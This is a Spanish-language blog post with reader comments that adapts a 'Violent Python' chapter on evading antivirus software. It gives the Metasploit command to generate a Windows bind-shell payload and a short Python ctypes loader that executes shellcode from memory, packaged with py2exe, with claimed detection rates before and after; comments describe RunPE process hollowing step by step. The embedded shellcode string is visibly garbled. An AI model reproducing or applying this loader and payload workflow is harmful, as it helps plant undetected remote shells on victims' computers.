Evadiendo AV's con Python

3 comments


Buenas , coincidio estaba leyendo un librito (Violent Python) y un capítulo trataba sobre la evasión de antivirus...

Muchos me comentaban que conocían el libro pero que nunca les dio por leerlo, entre las principales razones pues por lo de siempre...

- "ESTA EN INGLÉS y como esta en inglés pues NO LO ENTIENDO BIEN"

Bueno , en este caso voy a "adaptar" un capítulo qué me llamo la antención para que veaís que no es dificil de leerlo y que pues bueno a veces por no leer en inglés os perdeís conocer muchas cosas interesantes...

Al lio...

1. Generar shellcode con código malicioso en msf(metasploit).
2. Escribir el script en python que nos permita ejecutar ese código.

1. Generar shellcode con código malicioso en msf(metasploit):

Abrimos msf :
sanko@Sanko-PC ~ $ su
Password: 
Sanko-PC sanko # msfconsole

y generaremos este payload , escribimos :
msfpayload windows/shell_bind_tcp LPORT=1337 C

Aqui nos genera el shellcode :























Ahora pasaremos directamente ese shellcode a exe y escanearemos :















y lo analizamos en un scanner online para por cuantos av's es detectado :




































23/35 , BUFF , muy quemado...


Pero esto se puede solucionar con nuestro queridito python...
Escribiremos un script que creara un buffer-string y que luego lo ejecute en memoria a traves de un módulo(API) -> Ctypes

Escribamos el script pues :

from ctypes import *

shellcode = ("\xfc\xxd5")

memoria = create_string_buffer(shellcode, len(shellcode))
shell = cast(memoria, CFUNCTYPE(c_void_p))
shell()
Ahora lo pasamos a aplicación con py2exe y lo escaneamos de nuevo:








Avast y Essentials.. link reporte = http://scan4you.net/result.php?id=43add_3541pe


Ahora comprobemos que el payload se ejecuta correctamente
...

Todo correcto al parecer...
Bueno, con esto es todo , espero os agradará el articulo.

Un Saludo ,
Sanko.


Referencias : Creditos para el libro "Violent Python" esto tan solo es una explicación basada en lo que leí.
Traducido al español y explicado como me parecio más adecuado.

3 comentarios

  1. A simple vista parece un típico runpe, con la interpretación del script de python, cosa que no están acostumbrados los AV's...

    pd: tienes el binario? quiero confirmar que sea RunPE (pero todo apunta a eso).

    ResponderEliminar
  2. mmmm me parece ineteresante lo que comentas.
    Sería algo así...lo que esta claro a simple vista es que es runtime por la creacion del buffer en memoria.
    Aun así cualquier cosa solo tienes que hacer 2 cositas y ya se genera el ejecutable

    ResponderEliminar
  3. Sip, RunPE usa esa forma, crea un proceso suspendido, desmapea desde la ImageBase del archivo a ejecutar en runtime en el nuevo proceso, alloca la memoria a partir del ImageBase, Copia la cabezera y las secciones alineadas, setea el contexto del hilo especificando el EntryPoint dónde comenzará a ejecutarse, así como en el PEB y luego resume el proceso suspendido. Nada de otro mundo...

    En mi blog hice una entrada acerca de eso, Dynamic Forking (RunPE).

    Saludos,
    Nox.

    ResponderEliminar